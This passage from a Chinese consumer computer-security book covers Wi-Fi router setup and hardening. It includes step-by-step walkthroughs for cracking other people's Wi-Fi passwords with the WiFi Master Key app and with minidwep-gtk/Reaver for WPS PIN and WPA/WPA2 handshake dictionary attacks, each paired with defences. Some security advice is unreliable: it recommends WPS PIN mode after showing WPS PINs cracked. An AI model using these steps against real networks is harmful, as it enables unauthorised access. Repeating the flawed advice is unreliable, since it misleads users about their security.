1）无线电波的覆盖范围广，基于蓝牙技术的电波覆盖范围非常小，半径只有50英尺左右，约合15 m，而Wi-Fi的半径则可达300英尺左右，约合100 m，办公室自不用说，就是在整栋大楼中也可使用。由Vivato公司推出的一款新型交换机能够把目前Wi-Fi无线网络300英尺（接近100 m）的通信距离扩大到4英里（约6.5 km）。

2）传输速度非常快，可以达到54 Mbps，符合个人和社会信息化的需求。

3）厂商进入该领域的门槛比较低。厂商只要在机场、车站、咖啡店、图书馆等人员较密集的地方设置“热点”，并通过高速线路将互联网接入上述场所，由于“热点”所发射出的电波可以达到距接入点数十米至100 m的地方，所以用户只要将支持无线LAN的笔记本电脑或PAD拿到该区域内，即可高速接入互联网。也就是说，厂商不用耗费资金来进行网络布线接入，从而节省了大量的成本。

15.2　无线路由器的基本设置

无线路由器已经越来越普及，大多数用笔记本电脑或者只能用手机的人，都希望能直接用Wi-Fi连接上网，方便、省流量。但是，很多刚接触无线路由器的人，不知道无线路由器怎么用。下面我们以较为普遍的TP Link无线路由器为例来介绍怎么设置无线路由器。

15.2.1　无线路由器外观

先来了解一下无线路由器的各个接口，它们基本上无线路由器都大同小异，除了Reset按钮的位置可能不一致，如图15-2所示。

·WAN端口：连接网线。

·LAN端口：连接计算机（任选一个端口就行）。

·Reset按钮：将路由器恢复到出厂默认设置。

连接好无线路由器和网线、调制解调器，要确保网络畅通、所有指示灯都正常亮着（见图15-3）。

图15-2　无线路由器

图15-3　连接网线的图示

15.2.2　无线路由器的参数设置

步骤1：用网线将无线路由器和计算机连接起来，当然也可以直接使用无线搜索连接，但是新手还是建议使用网线直接连接。连接好之后，打开浏览器，在地址栏中输入192.168.1.1进入无线路由器的设置界面（见图15-4）。

图15-4　输入

步骤2：需要登录之后才能设置其他参数，默认的登录用户名和密码都是admin，可以参考说明书（见图15-5）。

图15-5　输入用户名和密码

步骤3：登录成功之后选择设置向导的界面，默认情况下会自动弹出（见图15-6）。

步骤4：选择设置向导之后会弹出一个窗口说明，通过向导可以设置路由器的基本参数，直接单击下一步即可（见图15-7）。

步骤5：根据设置向导一步一步设置，选择上网方式，通常ADSL用户则选择第一项PPPoE，如果用的是其他的网络服务商则根据实际情况选择下面两项，选完单击“下一步”按钮（见图15-8）。

图15-6　登录成功

提示

如果是用ADSL上网，如长城宽带、电信ADSL、联通宽带等，选择PPPoE（ADSL虚拟拨号）。

图15-7　窗口说明

图15-8　选择上网方式

步骤6：输入从网络服务商申请到的账号和密码，输入完成后直接单击“下一步”按钮（见图15-9）。

图15-9　输入账号和密码

提示

如果计算机有无线网卡，可以使用160Wi-Fi（见图15-10）来让计算机变成无线路由。如果计算机网卡驱动没有安装好，可以使用“驱动人生网卡版”一键解决所有驱动问题。

图15-10　160Wi-Fi无线路由

15.2.3　设置完成后重启无线路由器

步骤1：进入无线设置，设置SSID名称，这一项默认为路由器的型号，这只是在搜索的时候显示的设备名称，可以根据你自己的喜好更改，方便搜索使用。其余设置选项可以根据系统默认，无须更改，但是在网络安全设置项必须设置密码，防止被蹭网。设置完成后单击“下一步”按钮，如图15-11所示。

图15-11　无线设置

提示

设置一个SSID名称，可以让手机、笔记本电脑等快速找到自家的Wi-Fi信号。对于无线Wi-Fi密码，必须是选择WPA-PSK/WPA2-PSK模式，密码可以用手机号等，总之，密码越长越好。

步骤2：无线路由器的设置大功告成，重新启动路由器。

一般来说，只要熟悉了上述的步骤，已经可以说是懂得了无线路由器怎么用了。到此，无线路由器的设置已经完毕，接下来开启你的无线设备，搜索Wi-Fi信号直接连接就可以无线上网了。

15.3　智能手机的Wi-Fi连接

现在越来越多的人开始使用智能手机，智能手机功能强大，可以上网、看视频、听音乐，还可以安装超多应用程序，Wi-Fi功能的增加极大地增加了手机的可玩性。

15.3.1　Android手机Wi-Fi连接

下面以三星Android系统智能手机为例介绍Wi-Fi连接的设置方法。

步骤1：在手机主界面选择“设置”菜单，进入手机设置页面（见图15-12）。选择“无线和网络”，打开“无线和网络”设置页面，单击“Wi-Fi设置”选项（见图15-13）。

步骤2：打开“Wi-Fi设置”，开启手机无线功能，扫描无线网络（见图15-14）。

图15-12　选择“无线和网络”

图15-13　单击“Wi-Fi”设置

图15-14　扫描无线网络

步骤3：找到并单击无线路由器的无线网络名称，弹出提示，要求输入无线密钥（若未加密，无线会直接连接成功）。输入无线密钥，单击“连接”按钮（见图15-15）。无线连接成功后就可以上网、看视频了。

连接问题：

1）手机无线连接不上路由器。有一种可能是手机连接过该无线路由器的无线信号，并在手机中保存该无线网络的配置文件，但是后来修改了无线路由器的加密方式或密钥，手机就不能自动连接到该信号，需要先删除原有无线配置文件再重新连接。下面介绍手机删除无线配置文件的方法。

步骤1：打开“Wi-Fi设置”页面，找到并单击原有保存的无线配置文件，弹出不保存（删除）配置文件选项（见图15-16）。

步骤2：选择“不保存”（见图15-17），删除配置文件之后，重新搜素无线信号进行连接。

图15-15　输入无线密码

图15-16　打开“Wi-Fi设置”页面

图15-17　选择“不保存”

2）如果手机无线显示“已连接”但是不能上网，有一种可能是手机的IP地址等参数配置错误。下面介绍手机IP地址的配置方法。推荐使用默认的自动获取IP地址。

步骤1：手机无线连接上无线路由器之后，按“MENU”菜单键，弹出“高级”按钮。单击“高级”按钮，弹出手机IP地址配置页面（见图15-18）。

步骤2：手机默认“使用静态IP”后的复选框没有勾上，即自动获取IP地址（推荐）。获取到正确的网络参数之后，手机即可正常连接到网络。如果要手动设置静态IP，可以将“使用静态IP”勾选上，并手动设置“IP地址”“网关”“网络掩码”以及“DNS”等参数（见图15-19和图15-20）。

图15-18　单击“高级”按钮

图15-19　勾选“使用静态IP”

图15-20　手动设置静态IP

15.3.2　iPhone手机Wi-Fi连接

步骤1：在手机主界面点“设置”图标（见图15-21），进入设置界面后，单击“无线局域网”或“Wi-Fi”选项（见图15-22）。

步骤2：进入“无线局域网”设置界面，单击所需要连接的无线网络。输入当前所要连接无线网络的密码，输入正确后点加入，稍等一会儿连接成功即可无线上网（见图15-23和图15-24）。

图15-21　单击“设置”

图15-22　单击“Wi-Fi”

图15-23　单击需要连接的无线网络

步骤3：如果某些无线网络需要手动设置IP地址，则选择当前无线网络右边的感叹号进入设置。在IP地址下选择“静态”，然后输入相应IP地址、子网掩码、路由器（网关地址）及DNS，搜索域可不填（见图15-25和图15-26）。

图15-24　输入密码

图15-25　单击无线网络右边的感叹号

图15-26　手动设置IP地址

15.4　无线路由器的安全设置

现在无线路由器广泛使用，被蹭网的现象也屡见不鲜。大多网络入侵都是因为无线路由器没有进行相应的安全设置而引发的。下面介绍几种基础的、可以帮你远离大部分威胁的安全设置方法。

15.4.1　修改Wi-Fi连接密码

如果发现自己的网络速度变慢，那么可能有其他人来蹭网了，修改Wi-Fi连接密码是一种简单并且常用的方法。下面来看详细设置步骤：

步骤1：登录到对应的路由器系统界面，单击“无线安全设置”选项（见图15-27）。

步骤2：打开“无线网络安全设置”窗口，可以看到PSK密码选项，修改后面文本框中的密码并单击“保存”按钮即可修改成功（见图15-28）。

图15-27　单击无线安全设置

图15-28　修改密码并保存

15.4.2　禁用DHCP功能

DHCP是Dynamic Host Configuration Protocol（动态主机分配协议）缩写，主要功能就是帮助用户随机分配IP地址，省去了用户手动设置IP地址、子网掩码以及其他所需要的TCP/IP参数的麻烦。

这本来是方便用户的功能，但却被很多别有用心的人利用。一般的路由器DHCP功能是默认开启的，这样所有在信号范围内的无线设备都能自动分配到IP地址，这就留下了极大的安全隐患。攻击者可以通过分配的IP地址轻易得到很多你的路由器的相关信息，所以禁用DHCP功能非常必要（见图15-29）。

图15-29　DHCP服务

15.4.3　无线加密

现在很多的无线路由器都拥有了无线加密功能，这是无线路由器的重要保护措施，通过对无线电波中的数据加密来保证传输数据信息的安全。一般的无线路由器或AP都具有WEP加密和WPA/WPA2加密功能（见图15-30）。

图15-30　使用WPA/WPA2加密方式

WEP一般包括64位和128位两种加密类型，只要分别输入10个或26个16进制的字符串作为加密密码就可以保护无线网络。WEP协议是对在两台设备间无线传输的数据进行加密的方式，用以防止非法用户窃听或侵入无线网络，但WEP密钥一般是保存在Flash中，所以有些黑客可以利用你网络中的漏洞轻松进入你的网络。

WEP加密出现得较早，现在基本上都已升级为WPA加密，WPA是一种基于标准的可互操作的WLAN安全性增强解决方案，可大大增强现有无线局域网系统的数据保护和访问控制水平，WPA加强了生成加密密钥的算法，黑客即便收集到分组信息并对其进行解析，也几乎无法计算出通用密钥。

WPA的出现使得网络传输更加安全可靠。需要指出的是一般无线路由器在出厂时无线加密功能都是关闭的，但如果你放弃此功能的话，那么你的网络就是一个极度不安全的网络，因此建议你设置后启用此功能。

WPA2（WPA第二版）是基于WPA的一种新的加密方式。WPA2是WPA的升级版，现在新型的网卡、AP都支持WPA2加密。WPA2则采用了更为安全的算法。CCMP取代了WPA的MIC、AES取代了WPA的TKIP，同样地因为算法本身几乎无懈可击，所以也只能采用暴力破解和字典法来破解。

15.4.4　关闭SSID广播

简单来说，SSID便是你给自己的无线网络所取的名字。在搜索无线网络时，你的网络名字就会显示在搜索结果中。一旦攻击者利用通用的初始化字符串来连接无线网络，极容易入侵到你的无线网络中来，所以强烈建议关闭SSID广播。

还要注意，由于特定型号的访问点或路由器的缺省SSID在网上很容易就能搜索到，比如netgear，linksys等，因此一定要尽快更换掉。对于一般家庭来说选择差别较大的命名即可。

关闭SSID后再搜索无线网络你会发现由于没有进行SSID广播，该无线网络被无线网卡忽略了。不过关闭SSID会使网络效率稍有降低，但安全性会大大提高，因此关闭SSID广播还是非常值得的（见图15-31）。

图15-31　不开启SSID广播

15.4.5　设置IP过滤和MAC地址列表

由于每个网卡的MAC地址是唯一的，所以可以通过设置MAC地址列表来提高安全性。在启用了IP地址过滤功能后，只有IP地址在MAC列表中的用户才能正常访问无线网络，其他的不在列表中的就自然无法连入网络了。

另外需要注意在“过滤规则”中选择“允许列表中生效的MAC地址访问本无线网络”选项，这样其他用户就不能再连入网络（见图15-32）。对于家庭用户来说这个方法非常实用，家中有几台计算机就在列表中添加几台即可，这样既可以避免邻居“蹭网”，也可以防止攻击者的入侵。

图15-32　开启MAC地址过滤功能

15.4.6　主动更新

搜索并安装所使用的无线路由器或无线网卡的最新固件或驱动更新，消除以前存在的漏洞，还有下载安装所使用的操作系统在无线功能上的更新，这样可以更好地保证无线网络的使用和安全，使自己的设备能够具备最新的各项功能。

还要提示一下，如果忘记了自己设定的密码，可以将设备恢复到出厂状态，即按住复位键即可，但一定要记得重新设置。

无线网络的速度越来越快，无线网络也该越来越安全。其实只要进行上述简单的几个设置就可以把你的无线网络安全等级提升不少（见图15-33）。无线网络环境不是连接上这么简单，把安全工作做到家才能使使用更安心、畅快。上面介绍的几种方法虽然简单但却很实用，如果你的无线路由器还没有进行上面的设置，笔者强烈建议您现在就去进行这些设置。

图15-33　软件升级

15.5　Wi-Fi密码破解及防范

15.5.1　傻瓜式破解Wi-Fi密码曝光及防范

Wi-Fi万能钥匙是一款常见的破解周围公共Wi-Fi密码的软件，此方法主要是利用Wi-Fi特征匹配来查看已共享的Wi-Fi信息，实现破解目的。

1.Wi-Fi万能钥匙手机破解Wi-Fi密码曝光

步骤1：在网上搜索“Wi-Fi万能钥匙”，下载“Wi-Fi万能钥匙”APK程序，并安装至手机（见图15-34）。

步骤2：打开手机列表中的“Wi-Fi万能钥匙”，在程序主界面中单击“开启”按钮以打开手机中的Wi-Fi开关（见图15-35）。

步骤3：程序自动搜索周围存在的开放的Wi-Fi网络，单击要连接的无线网络（见图15-36）。

图15-34　下载手机版“Wi-Fi万能钥匙”

图15-35　打开“Wi-Fi万能钥匙”

图15-36　搜索开放的Wi-Fi网络

步骤4：自动进行连接（见图15-37）。

图15-37　自动连接

步骤5：搜索到的Wi-Fi被加密，程序会在Wi-Fi列表中对应图标上显示一个“小锁”图标（见图15-38）。

图15-38　Wi-Fi被加密

步骤6：单击要连接的Wi-Fi网络，在打开的窗口中单击“万能钥匙自动解锁”选项（见图15-39）。

步骤7：打开数据连接，单击“是”按钮（见图15-40）。

步骤8：获取热点信息（见图15-41）。

步骤9：没有其他用户共享其Wi-Fi密码，单击“是”按钮程序进入深度扫描状态（见图15-42）。

步骤10：深度扫描，正在尝试解锁（见图15-43）。

步骤11：成功破解Wi-Fi密码，网络已连接（见图15-44）。

2.Wi-Fi万能钥匙计算机破解Wi-Fi密码曝光

除了在手机上使用Wi-Fi万能钥匙破解Wi-Fi密码外，在计算机上也可以使用Wi-Fi万能钥匙进行破解。下面介绍在计算机上使用Wi-Fi万能钥匙破解Wi-Fi密码的方法。

图15-39　单击“万能钥匙自动解锁”

图15-40　单击“是”

图15-41　获取热点信息

图15-42　单击“是”进入深度扫描状态

图15-43　尝试解锁

图15-44　成功连接Wi-Fi

步骤1：进入Wi-Fi万能钥匙官方网站，下载并安装计算机版Wi-Fi万能钥匙（见图15-45）。

图15-45　下载计算机版“Wi-Fi万能钥匙”

步骤2：打开Wi-Fi万能钥匙主界面，选择想要破解的Wi-Fi，然后选择“自动连接”，软件会自动帮您破解Wi-Fi密码（见图15-46）。

步骤3：Wi-Fi开始连接（见图15-47）。

图15-46　Wi-Fi万能钥匙主界面

图15-47　开始连接Wi-Fi

步骤4：Wi-Fi密码破解成功，Wi-Fi连接成功（见图15-48）。

图15-48　Wi-Fi连接成功

3.防止Wi-Fi万能钥匙破解密码

设置复杂的Wi-Fi密码，并且在使用Wi-Fi万能钥匙过程中不轻易分享热点密码，这样能实现有效防止别人破解Wi-Fi密码的操作。

1）将无线加密方式设置为“WPA2-PSK”。具体设置方法会因无线路由器型号的不同而有所不同。下面以“腾达”路由器为例进行介绍。

步骤1：打开无线路由器管理界面，切换至“无线设置”选项卡，单击“无线加密”项，从“安全模式”下拉列表中选择“WPA2-PSK”加密方式（见图15-49）。

步骤2：设置复杂的Wi-Fi密码，由于Wi-Fi默认密码过于简单，从而导致Wi-Fi密码被轻易地破解。通过设置“字母”+“数字”式复杂的密码可以有效提高Wi-Fi的安全，防止被他人破解（见图15-50）。

图15-49　选择“WPA2-PSK”加密方式

图15-50　设置复杂的Wi-Fi密码

步骤3：隐藏网络“SSID”号，在路由器管理界面中，切换至“无线网络”选项卡，单击“无线基本设置”项，勾选“广播（SSID）关闭”项。这样周围的其他终端设备将无法搜索到自己共享的Wi-Fi热点，从而有效保护了Wi-Fi热点的安全（见图15-51）。

步骤4：采用“WPS”模式来使用Wi-Fi热点，在无线路由器管理界面中，切换至“无线网络”选项卡，单击“无线加密”项，勾选“启用”项（见图15-52）。

图15-51　关闭广播（SSID）

图15-52　启用WPS设置

步骤5：选择一种WPS模式，在此选择“PIN”模式，即终端需要输入所设置的PIN码才能连接。该连接方式提供可靠的加密，可以有效防止Wi-Fi密码被破解（见图15-53）。

图15-53　选择“PIN”模式

2）在使用Wi-Fi万能钥匙连接自己创建的热点时，取消“分享热点”功能。

步骤1：打开“Wi-Fi万能钥匙”，切换至“更多”选项卡，单击“应用设置”项（见图15-54）。

步骤2：打开“应用设置”界面，取消勾选“自动分享已连接热点”项（见图15-55）。

步骤3：单击已连接的“热点”，从弹出的扩展菜单中选择“忘记网络”项，然后再次连接Wi-Fi热点即可（见图15-56）。

图15-54　单击“应用设置”

图15-55　取消勾选“自动分享已连接热点”

图15-56　选择“忘记网络”

15.5.2　Linux下利用抓包破解Wi-Fi密码曝光

实现破解周围Wi-Fi密码的方式有许多种，下面曝光一种强力破解Wi-Fi密码的方法，在Linux下利用抓包来破解周围Wi-Fi密码。

1.虚拟Linux系统

想要破解Wi-Fi密码，首先需要安装一个虚拟机，然后在虚拟机中安装Linux系统，安装步骤如下。

步骤1：在百度搜索cdlinux.iso，下载并保存cdlinux.iso（见图15-57）。

步骤2：下载“VMware Worksta-tion”虚拟机软件，用于在Windows系统下虚拟CDLinux系统（见图15-58）。

步骤3：安装并运行“VMware Worksta-tion”虚拟机软件，在程序主界面中单击“创建新的虚拟机”按钮（见图15-59）。

图15-57　百度搜索cdlinux.iso

图15-58　下载“VMware Workstation”虚拟机软件

图15-59　单击“创建新的虚拟机”

步骤4：选择安装类型，选择“典型”项，并单击“下一步”按钮（见图15-60）。

图15-60　选择安装类型

步骤5：勾选“安装程序光盘映像文件”选项，通过单击“浏览”按钮选择已下载的CDLinux系统镜像文件，单击“下一步”按钮（见图15-61）。

步骤6：选择“Linux”版本，单击“下一步”按钮（见图15-62）。

图15-61　勾选“安装程序光盘映像文件”选项

图15-62　选择“Linux”版本

步骤7：输入虚拟机的名称，单击“下一步”按钮（见图15-63）。

步骤8：将“磁盘空间”设置为“10 G”以上，单击“下一步”按钮（见图15-64）。

图15-63　输入虚拟机的名称

图15-64　设置磁盘空间

步骤9：弹出新的界面，单击“自定义硬件”按钮（见图15-65）。

步骤10：设置合适的“内存”，通常内存设置为实际物理内存的1/2，最后单击“确定”完成设置（见图15-66）。

步骤11：选中已创建的虚拟机，单击“开启此虚拟机”按钮即可启动虚拟机（见图15-67）。

图15-65　单击“自定义硬件”按钮

图15-66　设置虚拟机的内存

步骤12：虚拟机已启动，查看系统界面（见图15-68）。

2.破解PIN码

PIN码是一种个人安全码，用于实现客户端与路由器之间进行安全的Wi-Fi连接。下面详细介绍破解PIN码的步骤：

步骤1：打开虚拟机主界面，依次单击“虚拟机”>“可移动设备”>“网络适配器”>“连接”选项（见图15-69）。

图15-67　启动虚拟机

图15-68　查看虚拟机的系统界面

图15-69　虚拟机主界面

步骤2：网络连接成功（见图16-70）。

步骤3：双击桌面中的“minidwep-gtk”程序，在弹出的“警告”窗口中单击“OK”按钮（见图16-71）。

图15-70　网络连接成功

图15-71　“警告”窗口

步骤4：选择“加密方式”，此处根据路由器Wi-Fi加密类型来选择，选择“WPA/WPA2”，然后单击“扫描”按钮（见图15-72）。

步骤5：搜索并列出周围所有的热点，我们需要找到含有“WPS”的无线网络，因为只有这类网络才可以破解，如果看不到含有“WPS”字样的无线网络，则单击“Reaver”按钮（见图15-73）。

步骤6：弹出新的窗口，单击“OK”按钮（见图15-74）。

步骤7：查看弹出的数据，当数据有变化时，表明是WPS加密方式，可实现破解（见图15-75）。

步骤8：选中一个“WPS”无线网络，单击“启动”按钮正式进入破解过程（见图15-76）。

步骤9：已获得“握手包”，单击“OK”按钮（见图15-77）。

图15-72　选择“加密方式”并扫描

图15-73　单击“Reaver”按钮

图15-74　在弹出的窗口中单击“OK”

图15-75　判断是否为WPS加密方式

图15-76　选中WPS无线网络

图15-77　获得“握手包”

步骤10：选择一个字典，单击“OK”按钮（见图15-78）。

图15-78　选取字典文件

步骤11：耐心等待破解，可以看到已破解的密码，单击“OK”按钮即可（见图15-79）。

图15-79　破解出密码

3.破解WPA密码

WPA加密方式是一种不安全、低级的无线加密方式，如果无线网络采取这种加密方式，那么我们就可以使用以下方法进行破解。

下面详细介绍破解步骤：

步骤1：双击“Linux”桌面中的“minidwep-gtk”程序，打开主界面，选择“加密方式”为“WPA/WPA2”方式，然后单击“扫描”按钮（见图15-80）。

图15-80　选择“WPA/WPA2”加密方式

步骤2：扫描完成。找到并选中要破解的采取WPA加密方式的无线网络，单击“启动”按钮（见图15-81）。

图15-81　选中以WPA方式加密的无线网络

步骤3：程序自动处理监听状态，当有其他客户端连接路由器时，就会自动截获握手包，同时弹出窗口要求使用字典，此时单击“确定”按钮（见图15-82）。

步骤4：选择一个字典文件，单击“确定”完成添加操作（见图15-83）。

步骤5：等待破解完成，可以看到WPA加密方式的密码被成功破解的提示，单击“OK”按钮即可（见图15-84）。

4.破解WPA2密码

WPA2加密方式是极为安全的加密方式，通常情况下其破解难度极大，如果无线网络采取这种加密方式，我们就可以使用以下方法进行破解。

下面详细介绍破解步骤：

步骤1：双击“Linux桌面”上的“minidwep-gtk”程序。打开主界面，选择加密方式为“WPA/WPA2”，然后单击“扫描”按钮（见图15-85）。

步骤2：扫描热点完成。我们可以发现该热点的加密方式为“WPA2”，选中该热点，单击“启动”按钮来进入破解过程（见图15-86）。

步骤3：选择本地的一个字典文件，单击“OK”按钮（见图15-87）。

步骤4：等待破解完成，可以看到WPA2加密方式的密码被成功破解的提示，单击“OK”按钮即可（见图15-88）。

图15-82　取得WPA握手包

图15-83　选取一个字典文件

图15-84　破解出WPA密码

图15-85　选择“WPA/WPA2”加密方式

图15-86　获取“握手包”

图15-87　选取一个字典文件

图15-88　选择加密方式为“WPA2”的无线网络

步骤5：破解程序正式进入“抓包”过程（见图15-89）。

步骤6：当有客户端连接该热点时，程序自动获取“握手包”并提示使用字典进行破解，单击“OK”按钮（见图15-90）。

5.linux下密码破解防范

了解了如何破解秘钥就应该知道怎么防备，方法就是尽量把密码设置的强壮些，用数字、字母和特殊符号混合，那样就会使入侵者难以破解，也许一个月也破解不了你的密码。

图15-89　进入“抓包”过程

图15-90　破解出密码

15.6　Wi-Fi存在的安全风险

2014年6月，央视以“危险的Wi-Fi”为题的节目揭露了无线网络存在巨大的安全隐患，公共场所的免费Wi-Fi热点有可能就是钓鱼陷阱，而家里的路由器也可能被恶意攻击者轻松攻破。网民在毫不知情的情况下，就可能面临个人敏感信息遭盗取，访问钓鱼网站，甚至造成直接的经济损失（见图15-91）。

图15-91　Wi-Fi安全风险示意图

15.6.1　Wi-Fi钓鱼陷阱

现在的商家为了招揽客户，为客户提供Wi-Fi接入服务的做法已经非常常见。客人在发现Wi-Fi热点时，一般会找服务员索要连接密码，这时黑客就会提供一个名字和商家类似的免费Wi-Fi接入点，吸引用户接入。用户一旦连接到黑客设定的Wi-Fi热点，上网的所有数据包，都会经过黑客设备转发，这些信息都可以被截留下来分析，一些没有加密的通信就可以直接被查看，导致用户信息泄露。我们要谨慎使用商家提供的免费Wi-Fi。

15.6.2　Wi-Fi接入点被偷梁换柱

除了伪装一个和正常Wi-Fi接入点雷同的Wi-Fi陷阱，攻击者还会创建一个和正常Wi-Fi名称完全一样的接入点。例如你在咖啡厅喝咖啡时，由于咖啡厅的无线路由器信号覆盖不够稳定，你的手机会自动连接到攻击者创建的Wi-Fi热点。在你完全没有察觉的情况下，又一次掉落陷阱。

伪造Wi-Fi是利用“自动连接”这个设置项连接到手机的，可以通过“不自动连接”来防护。

15.6.3　攻击无线路由器

黑客在发现无线网络后，使用黑客工具攻击正在提供服务的无线路由器，干扰连接，家用路由器抗攻击的能力较弱的网络连接就可能这样断线，继而连接到黑客设置的无线接入点。

黑客攻击家用路由器时，首先会使用各种黑客工具破解家用无线路由器的连接密码，如果破解成功，黑客就成功连接你的家用路由器，共享一个局域网。攻击者除了免费享用网络带宽，还会尝试登录你的无线路由器管理后台。由于市面上存在安全隐患的无线路由器相当常见，所以黑客很可能破解家用路由器登录密码（见图15-91）。

图15-92　家庭路由器劫持示意图

15.6.4　内网监听攻击

在一个共同的网络内，攻击者可以很容易地窃听你上网的内容，包括百度网盘上传的照片、刚发的微博等等。

有两种方式：一种是ARP攻击，用过几年前只有1 MB、2 MB宽带的人会比较熟悉，有人一开迅雷下载，就马上用p2p限速软件，这种软件用的就是ARP攻击。它在你的手机/计算机和路由器之间伪造成中转站，不但可以看到所有经过的流量，还能对流量进行限速。另外一种是网卡的混杂模式监听，它可以收到网内所有的广播流量。这个有条件限制，就是网络内有在广播的设备，比如HUB。大家在公司或网吧经常可以看到HUB，它是一个“一条网线进，几十条网线出”的扩充设备。如果这个公共Wi-Fi内有这类设施，通常你上网的流量可能会被窃听。

应对以上两种攻击方式的防护手法也都很成熟了，分别是ARP防火墙、流量加密（买一个SSL VPN）。

15.6.5　劫机风险

2014年8月，网络安全研究人员鲁本·圣马尔塔（Ruben Santamarta）表示，他已经找到方法，可通过飞机Wi-Fi和机上娱乐系统“黑入”民航客机上的卫星通信设备，这可能会被黑客用于劫机。理论上讲，一名黑客可以使用飞机上的Wi-Fi信号或是机上娱乐系统来侵入其航空电子设备，来破坏或修改卫星通信，从而干扰飞机的导航和安全系统。因此，利用飞机Wi-Fi来劫机在理论上是有可能发生的。

2014年时，圣马尔塔32岁，供职于网络安全公司IOActive。他计划在2014年8月7日拉斯维加斯的“黑帽（Black Hat）”大会上，发表有关航空航天等行业使用的卫星通信系统安全漏洞的演讲，公布他这一研究的技术细节。

圣马尔塔表示，他是通过“逆向工程”的方式发现了这些通信设备上的软件漏洞。涉及的设备制造商包括科巴姆公司、哈里斯公司、艾科思达公司旗下的休斯网络系统公司、铱星通信以及日本无线株式会社。但是圣马尔塔表示，他的“黑入”行为只在可控的环境中进行过测试，例如IOActive在马德里的实验室，而现实中很难复制。而他决定公之于众是为了鼓励制造商修复他所认为的风险安全隐患。

科巴姆、哈里斯、休斯和铱星的代表称，他们已经对圣马尔塔的研究做了评估，并确认了他的一些发现，但是也淡化了其中的风险。日本无线株式会社的发言人拒绝置评，只是表示这种安全风险的信息不会公开。

15.7　Wi-Fi安全防范措施

Wi-Fi是普通网民高速上网、节省流量资费的重要方式，虽然面临一些安全陷阱，但不可能因噎废食。金山毒霸安全工程师为此提供了五大安全使用建议。

1）谨慎使用公共场合的Wi-Fi热点。官方机构提供的而且有验证机制的Wi-Fi，可以找工作人员确认后连接使用。其他可以直接连接且不需要验证或密码的公共Wi-Fi风险较高，背后有可能是钓鱼陷阱，尽量不使用。

2）使用公共场合的Wi-Fi热点时，尽量不要进行网络购物和网银的操作，避免重要的个人敏感信息遭到泄露，甚至被黑客银行转账。

3）养成良好的Wi-Fi使用习惯。手机会把使用过的Wi-Fi热点都记录下来，如果Wi-Fi开关处于打开状态，手机就会不断向周边进行搜寻，一旦遇到同名的热点就会自动进行连接，存在被钓鱼风险。因此进入公共区域后，尽量不要打开Wi-Fi开关，或者把Wi-Fi调成锁屏后不再自动连接，避免在自己不知道的情况下连接上恶意Wi-Fi。

4）家里路由器管理后台的登录账户、密码，不要使用默认的admin，可改为字母加数字的高强度密码，设置的Wi-Fi密码选择WPA2加密认证方式，相对复杂的密码可大大提高黑客破解的难度。

5）不管在手机端还是计算机端都应安装安全软件。对于黑客常用的钓鱼网站等攻击手法，安全软件可以及时拦截提醒。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享